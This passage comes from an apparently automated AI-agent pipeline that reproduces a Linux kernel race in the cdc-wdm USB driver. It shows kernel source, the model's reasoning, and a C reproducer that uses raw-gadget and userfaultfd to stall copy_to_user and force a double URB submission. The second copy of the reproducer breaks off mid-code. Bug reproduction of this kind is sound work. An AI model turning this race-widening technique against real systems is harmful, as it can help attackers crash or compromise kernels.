2458: break;
2459: case USB_CDC_DMM_TYPE:
2460: if (elength < sizeof(struct usb_cdc_dmm_desc))
2461: goto next_desc;
2462: hdr->usb_cdc_dmm_desc =
2463: (struct usb_cdc_dmm_desc *)buffer;
2464: break;
2465: case USB_CDC_MDLM_TYPE:
2466: if (elength < sizeof(struct usb_cdc_mdlm_desc))
2467: goto next_desc;
2468: if (desc)
2469: return -EINVAL;
2470: desc = (struct usb_cdc_mdlm_desc *)buffer;
2471: break;
2472: case USB_CDC_MDLM_DETAIL_TYPE:
2473: if (elength < sizeof(struct usb_cdc_mdlm_detail_desc))
2474: goto next_desc;
2475: if (detail)
2476: return -EINVAL;
2477: detail = (struct usb_cdc_mdlm_detail_desc *)buffer;
2478: break;
2479: case USB_CDC_NCM_TYPE:
2480: if (elength < sizeof(struct usb_cdc_ncm_desc))
2481: goto next_desc;
2482: hdr->usb_cdc_ncm_desc = (struct usb_cdc_ncm_desc *)buffer;
2483: break;
2484: case USB_CDC_MBIM_TYPE:
2485: if (elength < sizeof(struct usb_cdc_mbim_desc))
2486: goto next_desc;
2487:
2488: hdr->usb_cdc_mbim_desc = (struct usb_cdc_mbim_desc *)buffer;
2489: break;
2490: case USB_CDC_MBIM_EXTENDED_TYPE:
2491: if (elength < sizeof(struct usb_cdc_mbim_extended_desc))
2492: goto next_desc;
2493: hdr->usb_cdc_mbim_extended_desc =
2494: (struct usb_cdc_mbim_extended_desc *)buffer;
2495: break;
2496: case CDC_PHONET_MAGIC_NUMBER:
2497: hdr->phonet_magic_present = true;
2498: break;
2499: default:
2500: /*
2501: * there are LOTS more CDC descriptors that
2502: * could legitimately be found here.
2503: */
2504: dev_dbg(&intf->dev, "Ignoring descriptor: type %02x, length %ud\n",
2505: buffer[2], elength);
2506: goto next_desc;
2507: }
2508: cnt++;
2509: next_desc:
2510: buflen -= elength;
2511: buffer += elength;
2512: }
2513: hdr->usb_cdc_union_desc = union_header;
2514: hdr->usb_cdc_header_desc = header;
2515: hdr->usb_cdc_mdlm_detail_desc = detail;
2516: hdr->usb_cdc_mdlm_desc = desc;
2517: hdr->usb_cdc_ether_desc = ether;
2518: return cnt;
2519: }
SourceFile:drivers/usb/core/message.c]
|
| 90/5 |
2026/09/11 22:13 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 28356
output: 40
thoughts: 1779
Thoughts: **My Thoughts on Setting Up a USB CDC Gadget**
I've been examining how to properly configure a USB CDC (Communication Device Class) gadget. It seems that the `cdc_parse_cdc_header` function is quite basic, only concerned with the count. A critical dependency I've identified is that `wdm_probe` will fail if the `buffer` is NULL. This means I absolutely *must* provide at least one CDC descriptor within `intf->altsetting->extra`. My initial thought was to simply append a dummy CDC Header descriptor directly to the interface descriptor. However, I quickly realized that the `extra` field is populated by the USB core itself, sourced from the *configuration descriptor*. Therefore, the correct approach is to append the dummy descriptor to the `conf_desc` structure.
Looking at the provided `conf_desc` structure definition, I see it's designed to hold the configuration, interface, CDC header, and an IN endpoint descriptor. This looks like a solid foundation.
I then reviewed the `wdm_probe` function again, specifically its call to `wdm_create(intf, ep, maxcom, ...)`. I noted that if a `usb_cdc_dmm_desc` isn't found, `maxcom` defaults to `WDM_DEFAULT_BUFSIZE` (256), which seems acceptable for now.
Next, I delved into the `gadget_thread` loop. The logic for handling USB events is laid out: connecting, processing control requests, and enabling endpoints. Specifically, I observed the handling of `USB_REQ_GET_DESCRIPTOR`. When the host requests the device descriptor (`USB_DT_DEVICE << 8`) or the configuration descriptor (`USB_DT_CONFIG << 8`), the appropriate descriptor is copied and sent back via `USB_RAW_IOCTL_EP0_WRITE`. The `SET_CONFIGURATION` request triggers `USB_RAW_IOCTL_CONFIGURE` and, importantly, the enabling of EP1 IN via `USB_RAW_IOCTL_EP_ENABLE`. Once EP1 is enabled, a signal `gadget_ready` is set, indicating the gadget is prepared to operate.
A particularly interesting part is the handling of `bmRequestType == 0xA1 && req->bRequest == 0x01`. My understanding is that this corresponds to the host submitting a Control Read URB to EP0 for `USB_CDC_GET_ENCAPSULATED_RESPONSE`. The code intends to respond with some data – currently hardcoded to 10 'A' characters – and then signals that this initial URB has been handled by setting `urb_responded`.
However, I've just had a realization. The host sends `USB_CDC_GET_ENCAPSULATED_RESPONSE` (0x01) *only after* I send `USB_CDC_NOTIFY_RESPONSE_AVAILABLE`. I need to re-examine the `wdm_int_callback` function. It mentions submitting `desc->response`. My immediate question is: what exactly *is* `desc->response`? This is the piece I need to clarify to ensure the proper communication flow.
|
| 91/5 |
2026/09/11 22:13 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/class/cdc-wdm.c Name:wdm_create]
Results: map[SourceCode:1025: static int wdm_create(struct usb_interface *intf, struct usb_endpoint_descriptor *ep,
1026: u16 bufsize, enum wwan_port_type type,
1027: int (*manage_power)(struct usb_interface *, int))
1028: {
1029: int rv = -ENOMEM;
1030: struct wdm_device *desc;
1031:
1032: desc = kzalloc_obj(struct wdm_device);
1033: if (!desc)
1034: goto out;
1035: INIT_LIST_HEAD(&desc->device_list);
1036: mutex_init(&desc->rlock);
1037: mutex_init(&desc->wlock);
1038: spin_lock_init(&desc->iuspin);
1039: init_waitqueue_head(&desc->wait);
1040: desc->wMaxCommand = bufsize;
1041: /* this will be expanded and needed in hardware endianness */
1042: desc->inum = cpu_to_le16((u16)intf->cur_altsetting->desc.bInterfaceNumber);
1043: desc->intf = intf;
1044: desc->wwanp_type = type;
1045: INIT_WORK(&desc->rxwork, wdm_rxwork);
1046: INIT_WORK(&desc->service_outs_intr, service_interrupt_work);
1047:
1048: if (!usb_endpoint_is_int_in(ep)) {
1049: rv = -EINVAL;
1050: goto err;
1051: }
1052:
1053: desc->wMaxPacketSize = usb_endpoint_maxp(ep);
1054:
1055: desc->orq = kmalloc_obj(struct usb_ctrlrequest);
1056: if (!desc->orq)
1057: goto err;
1058: desc->irq = kmalloc_obj(struct usb_ctrlrequest);
1059: if (!desc->irq)
1060: goto err;
1061:
1062: desc->validity = usb_alloc_urb(0, GFP_KERNEL);
1063: if (!desc->validity)
1064: goto err;
1065:
1066: desc->response = usb_alloc_urb(0, GFP_KERNEL);
1067: if (!desc->response)
1068: goto err;
1069:
1070: desc->command = usb_alloc_urb(0, GFP_KERNEL);
1071: if (!desc->command)
1072: goto err;
1073:
1074: desc->ubuf = kmalloc(desc->wMaxCommand, GFP_KERNEL);
1075: if (!desc->ubuf)
1076: goto err;
1077:
1078: desc->sbuf = kmalloc(desc->wMaxPacketSize, GFP_KERNEL);
1079: if (!desc->sbuf)
1080: goto err;
1081:
1082: desc->inbuf = kmalloc(desc->wMaxCommand, GFP_KERNEL);
1083: if (!desc->inbuf)
1084: goto err;
1085:
1086: usb_fill_int_urb(
1087: desc->validity,
1088: interface_to_usbdev(intf),
1089: usb_rcvintpipe(interface_to_usbdev(intf), ep->bEndpointAddress),
1090: desc->sbuf,
1091: desc->wMaxPacketSize,
1092: wdm_int_callback,
1093: desc,
1094: ep->bInterval
1095: );
1096:
1097: desc->irq->bRequestType = (USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE);
1098: desc->irq->bRequest = USB_CDC_GET_ENCAPSULATED_RESPONSE;
1099: desc->irq->wValue = 0;
1100: desc->irq->wIndex = desc->inum; /* already converted */
1101: desc->irq->wLength = cpu_to_le16(desc->wMaxCommand);
1102:
1103: usb_fill_control_urb(
1104: desc->response,
1105: interface_to_usbdev(intf),
1106: /* using common endpoint 0 */
1107: usb_rcvctrlpipe(interface_to_usbdev(desc->intf), 0),
1108: (unsigned char *)desc->irq,
1109: desc->inbuf,
1110: desc->wMaxCommand,
1111: wdm_in_callback,
1112: desc
1113: );
1114:
1115: desc->manage_power = manage_power;
1116:
1117: spin_lock(&wdm_device_list_lock);
1118: list_add(&desc->device_list, &wdm_device_list);
1119: spin_unlock(&wdm_device_list_lock);
1120:
1121: rv = usb_register_dev(intf, &wdm_class);
1122: if (rv < 0)
1123: goto err;
1124: else
1125: dev_info(&intf->dev, "%s: USB WDM device\n", dev_name(intf->usb_dev));
1126:
1127: wdm_wwan_init(desc);
1128:
1129: out:
1130: return rv;
1131: err:
1132: spin_lock(&wdm_device_list_lock);
1133: list_del(&desc->device_list);
1134: spin_unlock(&wdm_device_list_lock);
1135: cleanup(desc);
1136: return rv;
1137: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 92/5 |
2026/09/11 22:13 |
llm |
strategy-refiner |
3m
Model:
Tokens:
input: 31905
output: 4224
thoughts: 13838
Thoughts: **My Thought Process for Reproducing the "URB submitted while active" Warning**
My primary objective is to trigger the "URB submitted while active" warning within the USB CDC-WDM driver. This warning indicates a race condition where a USB URB (USB Request Block) is submitted for execution when it's already in use or has been submitted but not yet completed.
Here's how I've devised a plan to achieve this:
**1. Understanding the Target Scenario**
The core of the problem lies in the interaction between the host driver (`cdc-wdm`) and the USB gadget framework. Specifically, I need to orchestrate a situation where two distinct paths within the `cdc-wdm` driver attempt to submit the *same* URB (`desc->response`) concurrently.
The two paths I've identified are:
* **`wdm_rxwork`:** This workqueue item is scheduled when the Interrupt IN endpoint (EP1 IN in this case) receives a STALL. It's designed to re-initialize the endpoint and resubmit the `desc->response` URB if the device is not in a disconnecting state.
* **`service_outstanding_interrupt`:** This function is called by `wdm_read` when it determines that there are pending interrupt notifications that need to be processed and sent to userspace. It also attempts to submit the `desc->response` URB.
**2. The Strategy: Orchestrating the Race**
My strategy hinges on creating a specific sequence of events:
* **Initial Setup:** I'll use the `raw-gadget` framework to present a USB CDC-WDM device to the host. This involves setting up the device, configuration, and interface descriptors, crucially including an Interrupt IN endpoint (EP1 IN).
* **Triggering the First Response:** The host will likely initiate a sequence that leads to a `GET_ENCAPSULATED_RESPONSE` request on EP0. My gadget will respond to *only the first* such request with some dummy data. This is important because the `cdc-wdm` driver increments a counter (`desc->resp_count`) for each successful notification it expects to receive.
* **Sending Two Notifications:** I need to ensure that the `cdc-wdm` driver believes two notifications are pending. I'll achieve this by sending *two* `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notifications on EP1 IN. The `raw-gadget` framework's `USB_RAW_IOCTL_EP_WRITE` for this endpoint is blocking, meaning it won't return until the host has acknowledged receiving the data. Since the `wdm_int_callback` on the host side *always* resubmits the interrupt URB, these writes will complete successfully.
* **Incrementing `resp_count`:** When the host receives these two notifications, its internal `resp_count` (which tracks expected responses) will be incremented to 2.
* **Blocking Userspace Read:** The critical part is to make the host driver block in userspace's `read()` call on the `/dev/cdc-wdm0` device. This happens when the driver attempts to copy data from its internal buffer (`desc->ubuf`) to userspace. By using `userfaultfd`, I can intercept this `copy_to_user` operation and make the `read()` call block.
* **Triggering the STALL:** *Only after* `read()` has blocked in `copy_to_user` will I send a STALL command to EP1 IN. This is the trigger for the `wdm_rxwork` path.
* **The Race:**
1. The STALL on EP1 IN causes the host's `wdm_int_callback` to detect an error.
2. `wdm_int_callback` schedules `wdm_rxwork`.
3. *Crucially*, my `ep1_thread` waits for a short period (e.g., 100ms) *after* sending the STALL to ensure `wdm_rxwork` has a chance to execute and submit `desc->response`.
4. When `wdm_rxwork` runs, it will see that `WDM_RESPONDING` is not set, so it will set it and submit `desc->response`. The URB is now active.
5. My `ep1_thread` then signals the `userfaultfd` handler to resolve the page fault.
6. The `read()` call in userspace resumes. It will call `service_outstanding_interrupt`.
7. `service_outstanding_interrupt` will decrement `desc->resp_count` (which is currently 2, so it becomes 1), set `WDM_RESPONDING`, and *attempt to submit `desc->response` again*.
8. Since `desc->response` is already active (submitted by `wdm_rxwork`), this second submission will trigger the "URB submitted while active" warning.
**3. Key Components and Synchronization**
To orchestrate this precisely, I'll use:
* **`raw-gadget`:** For implementing the USB device behavior.
* **Threads:**
* `gadget_thread`: Manages `raw-gadget` initialization and event handling (EP0 requests).
* `ep1_thread`: Sends the two EP1 IN notifications and the final STALL. It also handles the timing synchronization.
* `uffd_thread`: Sets up and manages the `userfaultfd` to block the `read()` call.
* **Events (`event_t`):** These are essential for synchronizing the threads:
* `gadget_ready`: Signals when the gadget is initialized and EP1 IN is enabled.
* `read_blocked`: Signals when the `read()` call has entered the `copy_to_user` phase and is blocked by `userfaultfd`.
* `resolve_uffd`: Signals the `uffd_thread` to resolve the page fault and allow `read()` to complete.
**4. Refinements and Checks**
* **Not Responding to the Second `GET_ENCAPSULATED_RESPONSE`:** It's critical that my `gadget_thread` *does not* respond to the second `GET_ENCAPSULATED_RESPONSE` request from the host. If it did, `wdm_in_callback` would clear `WDM_RESPONDING`, and `desc->response` would be marked as inactive, preventing the race. By simply not responding, the URB will remain active from the host's perspective until `wdm_rxwork` submits it.
* **Timing:** The `usleep` calls are carefully placed to ensure that `wdm_rxwork` has sufficient time to execute before `resolve_uffd` is signaled.
* **Descriptor Accuracy:** The USB descriptors are configured to mimic a CDC-WDM device with an interrupt IN endpoint, which is what `cdc-wdm` expects.
This detailed plan, with its focus on precise timing and interaction between different driver paths and the userspace fault injection mechanism, should reliably trigger the desired "URB submitted while active" warning.
|
| 93/3 |
2026/09/11 22:17 |
action |
merge-strategy |
0m
Results: map[CurrentReproStrategy:An elegant and 100% reliable way to trigger this race condition is to use `userfaultfd` to pause the execution of `wdm_read()` exactly when it is copying data to userspace, and then trigger the `wdm_rxwork` error path by stalling the Interrupt IN endpoint.
### Method Explanation
1. **Gadget Setup**: We emulate a CDC WDM device using `raw-gadget`. The device exposes a Control endpoint (EP0) and an Interrupt IN endpoint (EP1).
2. **Double Notification**: The gadget sends two `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notifications on EP1. The host driver increments `desc->resp_count` to 2. The host submits a Control Read URB for the first notification.
3. **Data Response**: The gadget responds to the Control Read URB on EP0 with 10 bytes of data. The host driver copies this data to its internal buffer, clears the `WDM_RESPONDING` flag, and wakes up any pending readers.
4. **Block `read()`**: A userspace thread calls `read(/dev/cdc-wdm0, buf, 10)` where `buf` is a memory region monitored by `userfaultfd`. The `read()` syscall starts copying the 10 bytes and blocks on the page fault.
5. **Trigger `wdm_rxwork`**: While `read()` is blocked, the gadget sends a STALL (HALT) on EP1. The host receives `-EPIPE` and schedules `wdm_rxwork()`.
6. **The Race**:
- `wdm_rxwork()` runs, sees `WDM_RESPONDING == 0`, sets it to 1, and submits the `desc->response` URB.
- We wait a fraction of a second to ensure the URB is submitted and active.
- We resolve the `userfaultfd` page fault.
- `read()` finishes `copy_to_user()` and calls `service_outstanding_interrupt()`.
- `service_outstanding_interrupt()` decrements `resp_count` to 1, sets `WDM_RESPONDING` to 1 (blindly overwriting it), and submits the `desc->response` URB again.
- The USB core detects that the URB is already active and emits the `URB submitted while active` WARNING.
### C Reproducer
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0x00 && req->bRequest == USB_REQ_SET_CONFIGURATION) {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, ©);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```]
|
| 94/3 |
2026/09/11 22:17 |
agent |
repro-generator |
10m
Model:
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0)
continue;
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType == 0x80 && req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
